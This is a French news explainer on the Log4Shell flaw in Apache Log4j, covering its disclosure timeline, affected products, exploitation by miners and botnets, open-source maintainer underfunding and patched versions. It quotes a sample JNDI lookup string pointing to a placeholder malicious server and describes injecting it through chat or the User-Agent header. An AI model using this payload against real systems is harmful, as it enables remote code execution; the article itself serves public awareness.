Depuis plusieurs jours, Internet s’agite autour d’une vulnérabilité dans Log4j, un programme inconnu du grand public et pourtant utilisé dans un nombre très important de logiciels et applications web. Pourquoi cette faille est-elle si significative ? On vous explique.
Qu'est-ce que Log4Shell ?
Depuis le 9 décembre, une vulnérabilité critique est au centre de toutes les conversations dans les milieux spécialisés : désormais appelée Log4Shell, elle est présente dans Log4j, un outil couramment utilisé dans les applications Java pour logger des activités et des erreurs. Ce programme est développé et maintenu par des volontaires de l’Apache Software Foundation, ce qui explique son adoption massive.
La faille, désignée comme « CVE-2021-44228 », a obtenu un score CVSS de 10, la note maximale. Ce score élevé de sévérité s’explique par le fait qu’elle est triviale à exploiter, puisqu’il suffit d’une seule ligne : en plaçant une instruction simple type « ${jndi:ldap://serveur-malveillant/ressource} » à un endroit où cette donnée sera loggée par Log4j (par exemple un formulaire), l'attaquant force une connexion à son serveur via JNDI pour récupérer et exécuter la ressource indiquée, souvent un script. De cette manière, il peut exécuter du code à distance et faire ce qu’il souhaite sur le serveur vulnérable. Marcus Hutchins, aussi connu sous le pseudonyme de MalwareTech, a publié une vidéo pour démontrer la vulnérabilité.
Parmi les exemples plus médiatisés de l’utilisation de cette faille, on peut citer celle qui a touché Minecraft. Écrire l'instruction en question dans un chat Minecraft suffit à exécuter du code à distance sur le serveur, mais aussi sur les ordinateurs des joueurs présents sur le serveur. Une autre illustration touche au header User-Agent, qui permet de savoir entre autres à partir de quel navigateur et quel système d’exploitation l’utilisateur visite le site, et dont le contenu est souvent loggé par un serveur web. En modifiant ce header pour qu’il affiche l’instruction au lieu des informations habituelles, cette instruction sera « interprétée » par Log4j au moment de son écriture dans un log, ce qui permet d’obtenir un accès à un serveur web vulnérable.
Depuis quand la vulnérabilité est-elle connue ?
Cette vulnérabilité existe depuis au moins septembre 2013 dans Log4j. En 2016, une présentation durant l'événement Black Hat 2016 illustrait les possibilités d’exécution de code à distance en utilisant JNDI, possibilités qui s’appliquaient à Log4j. On ne sait pas si les volontaires étaient au courant de l’existence de la vulnérabilité à ce moment-là, mais toujours est-il qu’elle n'avait pas été patchée à l’époque.
Dans le cas qui nous intéresse, la vulnérabilité a été dévoilée à Apache le 24 novembre par Chen Zhaojun, d’Alibaba Cloud. Le 8 décembre, le chercheur alertait les volontaires sur le fait qu'un utilisateur anonyme avait dévoilé sur une plateforme de blogs chinoise les détails de la vulnérabilité. Le 9 décembre, un chercheur a publié sur Twitter une description de la vulnérabilité et un exemple de son exploitation. Si c’est à partir de ce moment-là que son exploitation massive a commencé, Cloudflare et Cisco ont indiqué avoir vu des exemples de son utilisation par des attaquants les 1er et 2 décembre, sans qu’on sache comment certains acteurs ont eu connaissance de son existence.
Qui est touché par Log4Shell ?
Concrètement, sont touchés par cette faille toutes les applications et tous les logiciels utilisant Log4j dans une version allant de 2.0 à 2.14.1. Une liste complète est difficile à établir mais des bases de données commencent à recenser les logiciels et vendeurs vulnérables ou non. BleepingComputer maintient également une liste de son côté. Parmi les marques et programmes connus et confirmés comme étant vulnérables, on peut signaler Minecraft, Apple, Tesla, Steam, Twitter, Redis, ElasticSearch et, évidemment, Apache.
La Cybersecurity and Infrastructure Security Agency (CISA) a prévenu que plusieurs centaines de millions de systèmes sont possiblement vulnérables.
Par qui est exploitée cette vulnérabilité ?
Dès que la vulnérabilité et la manière de l’exploiter ont été rendues publiques, des pirates ont saisi l'opportunité pour partir à la recherche de serveurs vulnérables. Certains d'entre eux ont commencé à infecter des serveurs avec des mineurs de cryptomonnaies. Les pirates derrière Kinsing, par exemple, utilisent la vulnérabilité pour lancer des scripts qui suppriment les malwares de leurs compétiteurs et installent le leur pour miner des cryptomonnaies. Comme rapporté par Netlab 360, les botnets Mirai et Muhstik sont aussi de la partie. Microsoft a de son côté indiqué avoir aperçu des attaquants déployer des balises Cobalt Strike, souvent utilisées par des pirates pour installer des ransomwares.
La vulnérabilité est également utilisée pour exfiltrer des données contenues dans des variables d’environnement, comme des clés secrètes. Pour le moment, aucun ransomware n’a encore été déployé à l’aide de cette faille. Mais pour la plupart des chercheurs, cela ne saurait tarder.
Si le projet est open source, pourquoi personne ne s’en est rendu compte avant ?
Il est souvent dit que les projets open source sont plus sécurisés car, leur code source étant public, tout le monde peut l’inspecter et trouver des vulnérabilités. En pratique, certains projets open source utilisés massivement comme Log4j ne sont maintenus que par quelques volontaires bénévoles, la plupart des entreprises se contentant de les utiliser dans leurs produits sans spécialement participer au projet lui-même.
Pour Log4j, six volontaires bénévoles étaient chargés de sa maintenance sur leur temps libre. Personne n’était donc dessus à temps plein, ce qui explique qu’une faille de ce genre a pu passer inaperçue et pourquoi il a fallu aux développeurs plusieurs jours pour sortir un patch pour la corriger.
Cette situation n’est pas inédite : en 2014, la faille critique Heartbleed était le résultat d’une contribution d’un développeur bénévole au projet OpenSSL qui avait été validée alors qu’elle contenait une erreur au niveau d’une validation. A l’époque, cette faille avait mis en lumière le manque de moyens et de contributeurs des projets open source et les conséquences de ce manque, surtout pour les contributions qui sont massivement utilisées. Plusieurs grandes entreprises avaient formé un projet de financement, la Core Infrastructure Initiative, censée aider à financer les projets open source importants. Cependant, comme le montre Log4Shell, la situation reste encore précaire pour beaucoup de ces projets, et des vulnérabilités importantes continuent de découler de ce manque critique de moyens et de volontaires.
Y a-t-il des moyens de corriger cette vulnérabilité ?
La vulnérabilité a été corrigée dans la version 2.15.0 de Log4j, mais il est plus prudent de télécharger la version 2.16.0, qui désactive complètement JNDI par défaut. Plusieurs mitigations possibles ont été partagées dans le cas où une mise à jour serait compliquée, comme un « vaccin » développé par les chercheurs de Cybereason qui fournit une solution temporaire en utilisant lui-même la faille pour procéder à des modifications à distance.
Du côté des utilisateurs, il n’y a pas grand-chose de plus à faire qu’attendre et faire les mises à jour des logiciels vulnérables lorsqu’elles sont disponibles. Minecraft, par exemple, a procédé à un correctif et fournit un guide pour les personnes hébergeant leur propre serveur.
Dois-je mettre le feu à mon ordinateur ?
Non, pas encore, même s'il n'y a pas de doute sur le fait que la faille est l'une des plus importantes des dernières années et qu'on ne connait pas encore toutes les conséquences de son existence. En revanche, faire attention à son utilisation d’Internet et de logiciels ainsi que se protéger avec des logiciels de sécurité reste toujours une bonne idée.
